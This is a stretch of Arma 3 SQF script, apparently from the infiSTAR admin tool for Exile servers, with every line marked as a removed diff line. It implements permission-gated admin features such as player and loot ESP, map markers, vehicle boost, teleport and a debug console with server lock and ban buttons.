- if(!alive _veh)then{_vehclr = [1,1,1,_alpha]};
- _pos = _veh modelToWorldVisual [0,0,0];
- _pos2D = worldToScreen _pos;
- if(abs(_pos2D select 0) < 1)then
- {
- _cnt = count _crew;
- if(_cnt > 0)then
- {
- _num = _cnt * -1;
- {
- _height = _num + _forEachIndex;
- _role = assignedVehicleRole _x;
- if(_role isEqualTo [])then{_role = 'Passenger';}else{_role = _role select 0;};
- _txt = format['%1. %2 - %3 %4HP',_forEachIndex,_role,_x call FN_GET_NAME,round((1-(damage _x))*100)];
- drawIcon3D['\A3\ui_f\data\map\Markers\Military\dot_ca.paa',[1,0.17,0.17,_alpha],_x modelToWorldVisual (_x selectionPosition 'head'),0,0,0,format['%1',_forEachIndex],1,0.03,'PuristaMedium','',true];
- drawIcon3D['',_x call FN_GET_CLR,_pos,.5,_height,0,_txt,1,0.03,'PuristaMedium','',true];
- } forEach _crew;
- };
- _txt = format['%1 - %2m',_typename,_distance];
- drawIcon3D['',_vehclr,_pos,.5,0,0,_txt,1,0.03,'PuristaMedium','',true];
- _txt = format['%1/%2km/h %3HP',_speed,_maxSpeed,round((1-(damage _veh))*100)];
- drawIcon3D[_icon,_vehclr,_pos,.5,.5,0,_txt,1,0.03,'PuristaMedium','',true];
- }
- else
- {
- _crewnames = '';
- {
- if(_crewnames == '')then
- {
- _crewnames = _x call FN_GET_NAME;
- }
- else
- {
- _crewnames = format['%1, %2',_crewnames,_x call FN_GET_NAME];
- };
- } forEach _crew;
- _txt = format['%1 - %2 - %3HP - %4m',_crewnames,_typename,round((1-(damage _veh))*100),_distance];
- drawIcon3D[_icon,_vehclr,_pos,.5,.5,0,_txt,1,0.03,'PuristaMedium','',true];
- };
- };
- };
- } forEach plr_in_sd;
- true
- };
- fnc_PlayerESP_NORM = {
- if(!isNil'plr_in_sd_task')then{[plr_in_sd_task] call ExileClient_system_thread_removeTask;plr_in_sd_task=nil;};
- if(isNil'fnc_PlayerESP_NORM_ID')then
- {
- plr_in_sd = (call fnc_get_plr);
- _code = {
- plr_in_sd = [];{if(cameraOn distance _x < 3000)then{plr_in_sd pushBackUnique _x;};} forEach (call fnc_get_plr);
- };
- plr_in_sd_task = [3, _code, [], true] call ExileClient_system_thread_addtask;
- fnc_PlayerESP_NORM_ID = addMissionEventHandler ['Draw3D', { if(isNull findDisplay 49)then{[] call fnc_PlayerESP_NORM_CODE;};true } ];
- }
- else
- {
- plr_in_sd = [];
- removeMissionEventHandler ['Draw3D', fnc_PlayerESP_NORM_ID];fnc_PlayerESP_NORM_ID=nil;
- };
- };
- fnc_PlayerESP_SS_CODE = {
- private['_espRenderRange','_distance','_alpha','_clr','_crew','_pos'];
- _espRenderRange = _this;
- if (!isNull cameraOn) then
- {
- {
- if(!isNull _x)then
- {
- if(isPlayer _x)then
- {
- _distance = round(cameraOn distance _x);
- _alpha = (1-(_distance/_espRenderRange/1.5));
- _clr = [1,1,1,_alpha];
- _crew = crew (vehicle _x);
- _name = '';
- {
- if(_forEachIndex == 0) then
- {
- _name = format['%1(%2m)',_x call FN_GET_NAME,_distance];
- }
- else
- {
- _name = _name + format[', %1(%2m)',_x call FN_GET_NAME,_distance];
- };
- } forEach _crew;
- _pos = _x modelToWorldVisual (_x selectionPosition 'head');
- drawIcon3D['\A3\ui_f\data\map\Markers\Military\dot_ca.paa',_clr,_pos,.3,.3,0,_name,1,0.03];
- };
- };
- } forEach ((cameraOn nearEntities[['Exile_Unit_Player', 'LandVehicle', 'Ship', 'Air'], _espRenderRange]) - [cameraOn]);
- };
- };
- fnc_PlayerESP_SS = {
- if(isNil'fnc_PlayerESP_SS_ID')then
- {
- fnc_PlayerESP_SS_ID = addMissionEventHandler ['Draw3D', { if(isNull findDisplay 49)then{2000 call fnc_PlayerESP_SS_CODE;};true } ];
- }
- else
- {
- removeMissionEventHandler ['Draw3D', fnc_PlayerESP_SS_ID];fnc_PlayerESP_SS_ID=nil;
- };
- };
- iconTextSize = 250 * pixelH;
- nameTextSize = 15 * pixelH;
- fnc_LootESP_CODE = {
- if (!isNull cameraOn) then
- {
- _pos = getPos cameraOn;
- _distance = 300;
- _getinfo = {
- _cnt = count weaponCargo _this;if(_cnt > 0)exitWith{[[1,0,0,1],'Weapon',_cnt]};
- _cnt = count magazineCargo _this;if(_cnt > 0)exitWith{[[1,1,0,1],'Magazine',_cnt]};
- _cnt = count itemCargo _this;if(_cnt > 0)exitWith{[[0,0,1,1],'Item',_cnt]};
- _cnt = count backpackCargo _this;if(_cnt > 0)exitWith{[[0,1,0,1],'Backpack',_cnt]};
- [[1,1,1,1],typeOf _this,1]
- };
- {
- _ret = _x call _getinfo;
- _clr = _ret select 0;
- _txt = _ret select 1;
- _cnt = _ret select 2;
- drawIcon3D['A3\ui_f\data\map\Markers\Military\dot_ca.paa',_clr,getPosATL _x,iconTextSize,iconTextSize,0,format['%1(%2)',_txt,_cnt],0,nameTextSize,'PuristaMedium','',true];
- } forEach (nearestObjects [cameraOn, ['LootWeaponHolder', 'GroundWeaponHolder', 'WeaponHolderSimulated'],_distance]);
- };
- };
- fnc_LootESP = {
- if(isNil'LootESPid')then
- {
- LootESPid = addMissionEventHandler ['Draw3D', { if(isNull findDisplay 49)then{call fnc_LootESP_CODE;};true } ];
- systemChat '<infiSTAR.de> Loot ESP showing loot within 300m';
- }
- else
- {
- removeMissionEventHandler ['Draw3D',LootESPid];
- LootESPid=nil;
- };
- };
- fnc_draw_MapIcons = {
- _icon = '';
- _alpha = 1;
- _iscale = ((1 - ctrlMapScale _ctrl) max .2) * 28;
- if(mapiconsshowplayer)then
- {
- _shown = [];
- {
- if(!isNull _x)then
- {
- _veh = vehicle _x;
- if(_veh in _shown)exitWith{};
- _shown pushBack _veh;
- _PUIDX = getPlayerUID _x;
- if(_PUIDX != '')then
- {
- _name = _x getVariable['ExileName',name _x];
- _type = typeOf _veh;
- _dist = round(_veh distance player);
- _clr = _x call FN_GET_CLR;
- _txt = format['%1 (%2m) (DEAD, but still watching)',_name,_dist];
- if(alive _x)then
- {
- if(_x isEqualTo _veh)then
- {
- _txt = format['%1 (%2m)',_name,_dist];
- }
- else
- {
- _names = '';
- {
- if(_forEachIndex isEqualTo 0)then
- {
- _names = _names + format['%1',_x getVariable['ExileName',name _x]];
- }
- else
- {
- _names = _names + format[', %1',_x getVariable['ExileName',name _x]];
- };
- } forEach (crew _veh);
- _typename = gettext (configFile >> 'CfgVehicles' >> _type >> 'displayName');
- _txt = format['%1 - %2 (%3m)',_names,_typename,_dist];
- };
- };
- _icon = getText(configFile >> 'CfgVehicles' >> _type >> 'icon');
- _grpx = group _x;
- if(!isNull _grpx)then
- {
- _alive = {alive _x} count units _grpx;
- if(_alive > 1)then
- {
- _txt = _txt + format[' GRP:%1 PLR:%2',allGroups find _grpx,_alive];
- };
- };
- _ctrl drawIcon [_icon, _clr, getPosASL _veh, _iscale, _iscale, getDir _veh,_txt];
- };
- };
- } forEach (call fnc_get_plr);
- };
- if(mapiconsshowvehicles||mapiconsshowai)then
- {
- {
- if(!isNull _x)then
- {
- _PUIDX = getPlayerUID _x;
- if(_PUIDX isEqualTo '')then
- {
- _veh = vehicle _x;
- _type = typeOf _veh;
- if(mapiconsshowvehicles)then
- {
- if!(_veh isKindOf 'Man')then
- {
- _icon = getText(configFile >> 'CfgVehicles' >> _type >> 'icon');
- _drawcode = [_icon, [0.67,0.97,0.97,1], getPosASL _veh, _iscale, _iscale, getDir _veh];
- _displayName = '';
- if(mapiconsshowvehiclestypes)then
- {
- _displayName = gettext (configFile >> 'CfgVehicles' >> _type >> 'displayName');
- _drawcode pushBack _displayName;
- };
- if(mapiconsshowvehicleslockstate)then
- {
- _locked = locked _veh;
- if!(_locked isEqualTo 1)then
- {
- if(_locked isEqualTo 0)then
- {
- _drawcode set[1,[0,0.55,0.15,1]];
- }
- else
- {
- _drawcode set[1,[1,0.4,0,1]];
- };
- };
- };
- _ctrl drawIcon _drawcode;
- };
- };
- if(mapiconsshowai)then
- {
- if(_x isKindOf 'Animal_Base_F')exitWith{};
- _crew = crew _x;
- if!(_crew isEqualTo [])then
- {
- _distance = cameraOn distance _x;
- _txt = 'AI';
- _type = typeOf _x;
- if(_x isKindOf 'Man')then
- {
- if(_type select [0,11] in ['Exile_Trade','Exile_Guard'])then
- {
- _txt = format['%1 (%2m)',_type,round _distance];
- }
- else
- {
- _txt = format['AI (%1m)',round _distance];
- };
- }
- else
- {
- _txt = format['AI - %1 (%2m)',gettext (configFile >> 'CfgVehicles' >> _type >> 'displayName'),round _distance];
- };
- _grp = group _x;
- if(!isNull _grp)then
- {
- _txt = format['%1 GRP:%2 UNITS:%3',_txt,allGroups find _grp,count units _grp];
- };
- _icon = getText(configFile >> 'CfgVehicles' >> _type >> 'icon');
- _ctrl drawIcon [_icon, [1,0,0.75,1], getPosASL _x, _iscale, _iscale, getDir _x,_txt];
- };
- };
- };
- };
- } forEach ([0,0,0] nearEntities ['Allvehicles',1000000]);
- };
- if(mapiconsshowdeadvehicles)then
- {
- {
- if((_x isKindOf 'Air')||(_x isKindOf 'Landvehicle'))then
- {
- _veh = vehicle _x;
- _type = typeOf _veh;
- _clr = [1,1,1,1];
- if(_x isEqualTo SELECTED_TARGET_PLAYER)then{_clr = [1,0.7,0.15,1];};
- _icon = getText(configFile >> 'CfgVehicles' >> _type >> 'icon');
- _ctrl drawIcon [_icon, _clr, getPosASL _x, _iscale, _iscale, getDir _x];
- };
- } forEach allDead;
- };
- if(mapiconsshowdeadplayer)then
- {
- {
- if(!isNull _x)then
- {
- _name = _x getVariable['ExileName',''];
- if(_name != '')then
- {
- _veh = vehicle _x;
- _dist = round(_veh distance player);
- _txt = format['%1 (%2m)',_name,_dist];
- if(getPlayerUID _x != '')then
- {
- _txt = format['%1 (%2m) (DEAD, but still watching)',_name,_dist];
- };
- _type = typeOf _veh;
- _clr = [1,1,1,1];
- _icon = getText(configFile >> 'CfgVehicles' >> _type >> 'icon');
- _ctrl drawIcon [_icon, _clr, getPosASL _veh, _iscale, _iscale, getDir _veh,_txt];
- };
- };
- } forEach allDeadMen;
- };
- };
- fnc_mapiconsshowflags = {
- {
- _ctrl drawIcon ['iconObject_1x1', [0,1,1,1], getPosASL _x, _size, _size, getDir _x];
- } forEach Exile_Construction_Flag_Static_ARRAY;
- };
- fnc_mapiconsshowbuildings = {
- {
- _ctrl drawIcon ['iconObject_1x1', [1,1,1,1], getPosASL _x, _size, _size, getDir _x];
- } forEach Exile_Construction_Abstract_Static_ARRAY;
- };
- fnc_mapiconsshowcameras = {
- {
- _ctrl drawIcon ['iconObject_1x1', [1,0,1,1], getPosASL _x, _size, _size, getDir _x];
- } forEach Exile_Construction_BaseCamera_Static_ARRAY;
- };
- fnc_removeButtons = {disableSerialization;{ctrlDelete _x;} forEach MapIconsButtonCTRLs;};
- fnc_addButtons = {
- _xpos = 0.5;
- _y = safeZoneY+0.0105;
- MapIconsButtonCTRLs = [];
- for '_i' from 2084 to 2093 do
- {
- _y = _y + 0.0495;
- _ctrl = [_display,'RscButton',_i] call fnc_createctrl;
- _ctrl ctrlSetPosition [_xpos,_y,0.3,0.05];
- MapIconsButtonCTRLs pushBack _ctrl;
- };
- };
- infiSTAR_A3MAPICONS = {
- if(isNil 'fnc_MapIcons_run')then
- {
- fnc_MapIcons_run = true;
- if(isNil'timerForBaseParts')then{timerForBaseParts = 0;};
- if(isNil'Exile_Construction_Flag_Static_ARRAY')then{Exile_Construction_Flag_Static_ARRAY = [];};
- if(isNil'Exile_Construction_Abstract_Static_ARRAY')then{Exile_Construction_Abstract_Static_ARRAY = [];};
- if(isNil'Exile_Construction_BaseCamera_Static_ARRAY')then{Exile_Construction_BaseCamera_Static_ARRAY = [];};
- if(isNil'mapiconsshowflags')then{mapiconsshowflags=false;};
- if(isNil'mapiconsshowbuildings')then{mapiconsshowbuildings=false;};
- if(isNil'mapiconsshowcameras')then{mapiconsshowcameras=false;};
- if(isNil'mapiconsshowplayer')then{mapiconsshowplayer=true;};
- if(isNil'mapiconsshowvehicles')then{mapiconsshowvehicles=false;};
- if(isNil'mapiconsshowvehiclestypes')then{mapiconsshowvehiclestypes=false;};
- if(isNil'mapiconsshowvehicleslockstate')then{mapiconsshowvehicleslockstate=false;};
- if(isNil'mapiconsshowdeadplayer')then{mapiconsshowdeadplayer=false;};
- if(isNil'mapiconsshowdeadvehicles')then{mapiconsshowdeadvehicles=false;};
- if(isNil'mapiconsshowai')then{mapiconsshowai=false;};
- if(!isNil'MAP_BUTTON_THREAD')exitWith{};
- MAP_BUTTON_THREAD = [] spawn {
- disableSerialization;
- private['_display','_button','_state','_text','_function','_color'];
- _display = findDisplay 12;
- while{true}do
- {
- if(visibleMap)then
- {
- if(mapiconsshowflags || mapiconsshowbuildings || mapiconsshowcameras)then
- {
- if(time > timerForBaseParts)then
- {
- timerForBaseParts = time + 25;
- Exile_Construction_Flag_Static_ARRAY = allMissionObjects 'Exile_Construction_Flag_Static';
- Exile_Construction_Abstract_Static_ARRAY = allMissionObjects 'Exile_Construction_Abstract_Static';
- Exile_Construction_BaseCamera_Static_ARRAY = allMissionObjects 'Exile_Construction_BaseCamera_Static';
- };
- };
- if(isNil'EventHandlerDrawAdded')then
- {
- call fnc_addButtons;
- EventHandlerDrawAdded = (uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlAddEventHandler['Draw','
- if(visibleMap)then
- {
- _ctrl = _this select 0;
- _myscale = 33.2012;
- _scale = ctrlMapScale _ctrl;
- _size = 10 max (_myscale*(_myscale/(_scale * 10000)));
- if(mapiconsshowflags)then{call fnc_mapiconsshowflags};
- if(mapiconsshowbuildings)then{call fnc_mapiconsshowbuildings};
- if(mapiconsshowcameras)then{call fnc_mapiconsshowcameras};
- call fnc_draw_MapIcons
- }
- '];
- };
- {
- _var = _x select 0;
- _text = _x select 1;
- _button = MapIconsButtonCTRLs select _forEachIndex;
- _state = missionNameSpace getVariable [_var,false];
- _color = if(_state)then{[0.56,0.04,0.04,1]}else{[0,1,0,1]};
- _BTNtext = if(_state)then{format['Hide %1',_text]}else{format['Show %1',_text]};
- _onoff = if(_state)then{'OFF'}else{'ON'};
- _button ctrlSetText _BTNtext;
- _button ctrlSetTextColor _color;
- _button ctrlRemoveAllEventHandlers 'ButtonDown';
- _button ctrlAddEventHandler ['ButtonDown',
- format['
- ''MapIcons: %1 - %2'' call fnc_adminLog;
- missionNameSpace setVariable [''%3'',!(missionNameSpace getVariable [''%3'',false])];
- ',
- _text,_onoff,_var]
- ];
- if!(format['MapIcons: %1',_text] call ADMINLEVELACCESS)then{_button ctrlEnable false;};
- _button ctrlCommit 0;
- } forEach [
- ['mapiconsshowflags','Flags'],
- ['mapiconsshowbuildings','Buildings'],
- ['mapiconsshowcameras','CAMERAS'],
- ['mapiconsshowplayer','Player'],
- ['mapiconsshowdeadplayer','DeadPlayer'],
- ['mapiconsshowvehicles','Vehicles'],
- ['mapiconsshowvehiclestypes','Vehicle Types'],
- ['mapiconsshowvehicleslockstate','Vehicle lockstate'],
- ['mapiconsshowdeadvehicles','DeadVehicles'],
- ['mapiconsshowai','AI']
- ];
- if(mapiconsshowvehicles)then
- {
- MapIconsButtonCTRLs select 6 ctrlEnable true;
- MapIconsButtonCTRLs select 7 ctrlEnable true;
- }
- else
- {
- MapIconsButtonCTRLs select 6 ctrlEnable false;
- MapIconsButtonCTRLs select 7 ctrlEnable false;
- mapiconsshowvehiclestypes = false;
- mapiconsshowvehicleslockstate=false;
- };
- }
- else
- {
- if(!isNil'EventHandlerDrawAdded')then
- {
- call fnc_removeButtons;
- (uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlRemoveEventHandler ['Draw',EventHandlerDrawAdded];EventHandlerDrawAdded=nil;
- };
- };
- uiSleep 0.3;
- };
- };
- }
- else
- {
- fnc_MapIcons_run = nil;
- terminate MAP_BUTTON_THREAD;MAP_BUTTON_THREAD=nil;
- if(!isNil'EventHandlerDrawAdded')then{(uiNamespace getVariable 'A3MAPICONS_mainMap') ctrlRemoveEventHandler ['Draw',EventHandlerDrawAdded];EventHandlerDrawAdded=nil;};
- call fnc_removeButtons;
- };
- };
- adminVehicleMarkers = {
- while {true} do
- {
- {
- _typename = gettext (configFile >> 'CfgVehicles' >> typeOf _x >> 'displayName');
- _xPos = getPos _x;
- _cm = ('adminVehicleMarkers' + (str _forEachIndex));
- _pos = getMarkerPos _cm;
- if((_pos select 0 != _xPos select 0) || (_pos select 1 != _xPos select 1))then
- {
- deleteMarkerLocal _cm;
- _vm = createMarkerLocal [_cm,_xPos];ADMIN_LOCAL_MARKER=true;
- _vm setMarkerDirLocal (getDir _x);
- _vm setMarkerTypeLocal 'mil_start';
- _vm setMarkerColorLocal 'ColorBlue';
- _vm setMarkerTextLocal format['%1',_typename];
- };
- } forEach ([0,0,0] nearEntities[['LandVehicle','Ship','Air','Tank'],1000000]);
- uiSleep 1;
- };
- for '_i' from 0 to 99999 do {deleteMarkerLocal ('adminVehicleMarkers' + (str _i));};
- };
- adminVehicleMarker = {
- if(isNil 'markadVehicleMarker')then
- {
- markadVehicleMarker = [] spawn adminVehicleMarkers;
- }
- else
- {
- terminate markadVehicleMarker;markadVehicleMarker=nil;
- for '_i' from 0 to 99999 do {deleteMarkerLocal ('adminVehicleMarkers' + (str _i));};
- };
- };
- adminFlagMarks = {
- while {true} do
- {
- if(isNil'timerForFlags')then{timerForFlags = 0;};
- if(time > timerForFlags)then
- {
- timerForFlags = time + 25;
- Exile_Construction_Flag_Static_ARRAY = (allMissionObjects 'Exile_Construction_Flag_Static');
- };
- for '_i' from 0 to (count Exile_Construction_Flag_Static_ARRAY)-1 do
- {
- _c = Exile_Construction_Flag_Static_ARRAY select _i;
- if(!isNull _c)then
- {
- deleteMarkerLocal ('adminFlagMarks' + (str _i));
- _vm = createMarkerLocal [('adminFlagMarks' + (str _i)), getPos _c];
- _vm setMarkerAlphaLocal 0.8;
- _vm setMarkerBrushLocal 'Grid';
- _radius = _c getVariable['ExileTerritorySize', 15];
- _vm setMarkerSizeLocal [_radius,_radius];
- _vm setMarkerShapeLocal 'ELLIPSE';
- _vm setMarkerColorLocal 'ColorGreen';
- _k = _i + 30000;
- deleteMarkerLocal ('adminFlagMarks' + (str _k));
- _vm = createMarkerLocal [('adminFlagMarks' + (str _k)), getPos _c];
- _vm setMarkerColorLocal 'ColorGreen';
- _vm setMarkerTypeLocal 'selector_selectable';
- _vm setMarkerSizeLocal [0.5,0.5];
- _level = _c getVariable['ExileTerritoryLevel', 1];
- _vm setMarkerTextLocal format['LVL %1',_level];
- };
- };
- uiSleep 20;
- };
- };
- adminFlagMark = {
- if(isNil 'FLAG_MARK_THREAD')then
- {
- timerForFlags = 0;
- FLAG_MARK_THREAD = [] spawn adminFlagMarks;
- }
- else
- {
- terminate FLAG_MARK_THREAD;FLAG_MARK_THREAD=nil;
- _flagCount = (count Exile_Construction_Flag_Static_ARRAY)+300;
- for '_i' from 0 to _flagCount do {deleteMarkerLocal ('adminFlagMarks' + (str _i));deleteMarkerLocal ('adminFlagMarks' + (str (_i+30000)));};
- };
- };
- adminDeadPlayers =
- {
- while {true} do
- {
- ADMIN_DeadPlayer_LIST = [] + allDeadMen;
- for '_i' from 0 to (count ADMIN_DeadPlayer_LIST)-1 do
- {
- deleteMarkerLocal ('adminDeadPlayers' + (str _i));
- _c = ADMIN_DeadPlayer_LIST select _i;
- if(!isNull _c)then
- {
- _txt = _c getVariable['ExileName','DEAD'];
- if(_txt != 'DEAD')then
- {
- _txt = format['%1 (DEAD)',_txt];
- _vm = createMarkerLocal [('adminDeadPlayers' + (str _i)), getPos _c];ADMIN_LOCAL_MARKER=true;
- _vm setMarkerTypeLocal 'waypoint';
- _vm setMarkerColorLocal 'ColorBlack';
- _vm setMarkerTextLocal _txt;
- };
- };
- };
- uiSleep 20;
- };
- for '_i' from 0 to 99999 do {deleteMarkerLocal ('adminDeadPlayers' + (str _i));};
- };
- adminDeadPlayer = {
- if(isNil 'markadDeadPlayer')then
- {
- markadDeadPlayer = [] spawn adminDeadPlayers;
- }
- else
- {
- terminate markadDeadPlayer;markadDeadPlayer=nil;
- for '_i' from 0 to 99999 do {deleteMarkerLocal ('adminDeadPlayers' + (str _i));};
- };
- };
- fnc_infiSTAR_vehboostKeydown = {
- _key = _this select 1;
- _shiftState = _this select 2;
- _ctrlState = _this select 3;
- _altState = _this select 4;
- _obj = cameraOn;
- if(!local _obj)exitWith{};
- if(_obj == player)exitWith{};
- if(_key isEqualTo 0x39)exitWith
- {
- _vel = velocity _obj;
- _obj setVelocity [
- (_vel select 0) * 0.96,
- (_vel select 1) * 0.96,
- (_vel select 2) * 0.98
- ];
- false
- };
- _maxSpeed = getNumber(configFile >> 'CfgVehicles' >> typeOf _obj >> 'maxSpeed');
- _speed = speed _obj;
- _absspeed = abs _speed;
- if(((_absspeed > _maxSpeed * 2.5)&&(_obj isKindOf 'Air'))||((_absspeed > _maxSpeed * 1.1)&&!(_obj isKindOf 'Air')))exitWith{false};
- if(isEngineOn _obj)then
- {
- if(_shiftState)exitWith
- {
- if(visibleMap)exitWith{false};
- if(_key isEqualTo 0x05)exitWith{false};
- _vel = velocity _obj;
- if(_speed < 30)then
- {
- _dir = direction _obj;
- _obj setVelocity [
- (_vel select 0) + (sin _dir * 1.02),
- (_vel select 1) + (cos _dir * 1.02),
- (_vel select 2)
- ];
- }
- else
- {
- _obj setVelocity [
- (_vel select 0) * 1.015,
- (_vel select 1) * 1.015,
- (_vel select 2)
- ];
- };
- };
- };
- false
- };
- infiSTAR_VehicleBoost = {
- if(isNil 'infiSTAR_vehboost_keybind')then
- {
- infiSTAR_vehboost_keybind = (findDisplay 46) displayAddEventHandler ['KeyDown', '_this call fnc_infiSTAR_vehboostKeydown'];
- systemChat '<infiSTAR.de> Vehboost Keybinds added: SHIFT FOR SPEED - SPACEBAR TO BREAK';
- }
- else
- {
- (findDisplay 46) displayRemoveEventHandler ['KeyDown',infiSTAR_vehboost_keybind];
- infiSTAR_vehboost_keybind = nil;
- systemChat '<infiSTAR.de> Vehboost Keybinds removed';
- };
- };
- infiSTAR_FlyUp = {
- _obj = cameraOn;
- if(!local _obj)exitWith{};
- if((_shift)||((vehicle player) isKindOf 'Air'))exitWith
- {
- _vel = velocity _obj;
- if(_obj==player)then
- {
- _obj setVelocity [(_vel select 0),(_vel select 1),8];
- }
- else
- {
- _obj setVelocity [(_vel select 0),(_vel select 1),20];
- };
- };
- if(_ctrl)exitWith
- {
- _obj setPos (_obj modelToWorld [0,0,3]);
- };
- };
- fnc_Hover = {
- _obj = cameraOn;
- if(!local _obj)exitWith{};
- if(_obj isKindOf 'Air')then
- {
- if(isNil 'hovverthread')then
- {
- hovverthread = [] spawn {
- _log = 'Now Hovering';
- _log call FN_SHOW_LOG;
- _obj = cameraOn;
- if(!local _obj)exitWith{terminate hovverthread;hovverthread=nil;};
- _pos = getPos _obj;
- while {true} do
- {
- _obj setPos _pos;
- };
- };
- }
- else
- {
- terminate hovverthread;hovverthread=nil;
- _log = 'No longer Hovering';
- _log call FN_SHOW_LOG;
- };
- } else {terminate hovverthread;hovverthread=nil;};
- };
- infiSTAR_go_down = {
- _veh = vehicle player;
- if(local _veh)then
- {
- _vel = velocity _veh;
- _posZ = (getPos _veh) select 2;
- if(_posZ > 6)then
- {
- _veh setVelocity [(_vel select 0),(_vel select 1),-20];
- }
- else
- {
- if(_posZ < 10)then
- {
- _veh setVelocity [0,0,-3];
- };
- };
- if(isTouchingGround _veh)then
- {
- _veh setVectorUp [0,0,1];
- };
- };
- };
- infiSTAR_shortTP = {
- if(player != vehicle player)exitWith{};
- _distance = 1;
- _object = player;
- _dir = getdir _object;
- _pos = getPos _object;
- if(surfaceIsWater _pos)then
- {
- _pos = getPosASL _object;
- _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),(_pos select 2)];
- _object setPosASL _pos;
- }
- else
- {
- _pos = getPosATL _object;
- _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),(_pos select 2)];
- _object setPosATL _pos;
- };
- {player reveal _x;} foreach (_pos nearObjects 50);
- };
- infiSTAR_Tpdirection = {
- if(isNil'infiSTAR_TpdirectionENABLED')exitWith{false};
- if('Teleport In Facing Direction (10m steps)' call ADMINLEVELACCESS)then
- {
- _distance = 10;
- _veh = vehicle player;
- if(local _veh)then
- {
- _dir = getdir _veh;
- if(surfaceIsWater position _veh)then
- {
- _pos = getPosASL _veh;
- _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),(_pos select 2)];
- _veh setPosASL _pos;
- }
- else
- {
- _pos = getPosATL _veh;
- _pos = [(_pos select 0)+_distance*sin(_dir),(_pos select 1)+_distance*cos(_dir),(_pos select 2)];
- _veh setPosATL _pos;
- };
- };
- {player reveal _x;} foreach (_pos nearObjects 50);
- };
- };
- infiSTAR_A3Togglelock = {
- private ['_veh'];
- {player reveal _x;} foreach (cameraOn nearObjects 50);
- _veh = vehicle player;
- if(vehicle player == player)then
- {
- _veh = cursorTarget;
- };
- if(isNull _veh)then{_veh = cursorObject;};
- if(isNull _veh)exitWith
- {
- _log = 'target does not exist';
- _log call FN_SHOW_LOG;
- };
- if(!alive _veh)exitWith
- {
- _log = 'target is destroyed ';
- _log call FN_SHOW_LOG;
- };
- if(_veh isKindOf 'AllVehicles')exitWith
- {
- if((player distance _veh < 12) || ((_veh == vehicle player) && (vehicle player != player)))then
- {
- _locked = locked _veh;
- if(_locked isEqualTo 1)exitWith
- {
- _log = format['vehicle [%1] not persistent and will not be locked!',typeOf _veh];
- _log call FN_SHOW_LOG;
- _log call fnc_adminLog;
- };
- if(_locked isEqualTo 2)then
- {
- _log = format['unlocked - [%1]',typeOf _veh];
- _log call FN_SHOW_LOG;
- _log call fnc_adminLog;
- }
- else
- {
- _log = format['locked - [%1]',typeOf _veh];
- _log call FN_SHOW_LOG;
- _log call fnc_adminLog;
- };
- [10,netId _veh] call fnc_AdminReq;
- };
- };
- };
- _stayLocalNumber = 2669;
- fnc_RscDisplayDebugPublic = {
- if!('DebugConsole' call ADMINLEVELACCESS)exitWith{systemChat 'You are not allowed to use this! (missing DebugConsole in Adminpowers)';};
- disableSerialization;
- if(isNull findDisplay 316000)then{createdialog 'RscDisplayDebugPublic';};
- waitUntil {!isNull findDisplay 316000};
- _display = findDisplay 316000;
- {
- if!(ctrlIDC _x in [13284,13288])then
- {
- _x ctrlRemoveAllEventHandlers 'ButtonDown';
- _x ctrlRemoveAllEventHandlers 'ButtonClick';
- _x ctrlRemoveAllEventHandlers 'MouseButtonClick';
- _x ctrlRemoveAllEventHandlers 'MouseButtonDown';
- };
- } forEach (allControls _display);
- _testRscListBox1 = [_display,'RscListBox',122000] call fnc_createctrl;
- _testRscListBox1 ctrlSetposition [0.83,0,0.5,1];
- _testRscListBox1 ctrlEnable true;
- _testRscListBox1 ctrlCommit 0;
- lbClear _testRscListBox1;
- _testRscListBox1 lbadd format['Player connected: %1',{getPlayerUID _x != ''} count (call fnc_get_plr)];
- _names = [];
- {
- if(getPlayerUID _x != '')then
- {
- if!(name _x in _names)then{_names pushBack (name _x);};
- };
- } forEach (units (group player));
- {
- if(getPlayerUID _x != '')then
- {
- if!(name _x in _names)then{_names pushBack (name _x);};
- };
- } forEach (call fnc_get_plr);
- {
- _testRscListBox1 lbadd _x;
- } forEach _names;
- for '_i' from 0 to 12 do {_testRscListBox1 lbAdd '';};
- _watchField1 = _display displayCtrl 12285;
- _watchField2 = _display displayCtrl 12287;
- _watchField3 = _display displayCtrl 12289;
- _watchField4 = _display displayCtrl 12291;
- waitUntil
- {
- _title = _display displayCtrl 11884;
- _title ctrlSetText 'DebugConsole - modified by infiSTAR.de';
- _titleBox = _display displayCtrl 11892;
- _titleBox ctrlSetText 'ENTER: CODE TO RUN';
- _btnSpectator = _display displayCtrl 13287;
- _btnSpectator ctrlEnable true;
- _btnSpectator ctrlShow true;
- _btnSpectator ctrlSetText 'clear';
- _btnSpectator buttonSetAction '
- diag_log (ctrlText ((findDisplay 316000) displayCtrl 12284));
- ((findDisplay 316000) displayCtrl 12284) ctrlSetText '''';
- ';
- _btnCamera = _display displayCtrl 13288;
- _btnCamera ctrlEnable true;
- _btnCamera ctrlShow true;
- _btnFunctions = _display displayCtrl 13289;
- _btnFunctions ctrlSetText 'lock';
- if('Lock Server (DebugConsole)' call ADMINLEVELACCESS)then
- {
- _btnFunctions buttonSetAction '
- [-662,1] call fnc_AdminReq;
- ';
- }
- else
- {
- _btnFunctions ctrlEnable false;
- };
- _btnConfig = _display displayCtrl 13290;
- _btnConfig ctrlSetText 'unlock';
- if('UnLock Server (DebugConsole)' call ADMINLEVELACCESS)then
- {
- _btnConfig buttonSetAction '
- [-662,2] call fnc_AdminReq;
- ';
- }
- else
- {
- _btnConfig ctrlEnable false;
- };
- _btnAnimations = _display displayCtrl 13291;
- _btnAnimations ctrlSetText 'ban';
- _btnAnimations ctrlRemoveAllEventHandlers 'ButtonClick';
- _btnAnimations buttonSetAction '';
- if('Ban (DebugConsole)' call ADMINLEVELACCESS)then
- {
- _btnAnimations buttonSetAction '
- _lbtxt = lbtext[122000,(lbCurSel 122000)];
- {
- _xUID = getPlayerUID _x;
- if(_xUID != '''')then
- {
- if(name _x == _lbtxt)exitWith
- {
- _reason = (ctrlText ((findDisplay 316000) displayCtrl 12284));
- if(_reason == '''')then{_reason=''Admin Ban'';};
- _input = [3,netId _x,toArray _reason];
- [-662,_input] call fnc_AdminReq;
- };
- };
- } forEach (call fnc_get_plr);
- ';
- }
- else
- {
- _btnAnimations ctrlEnable false;
- };
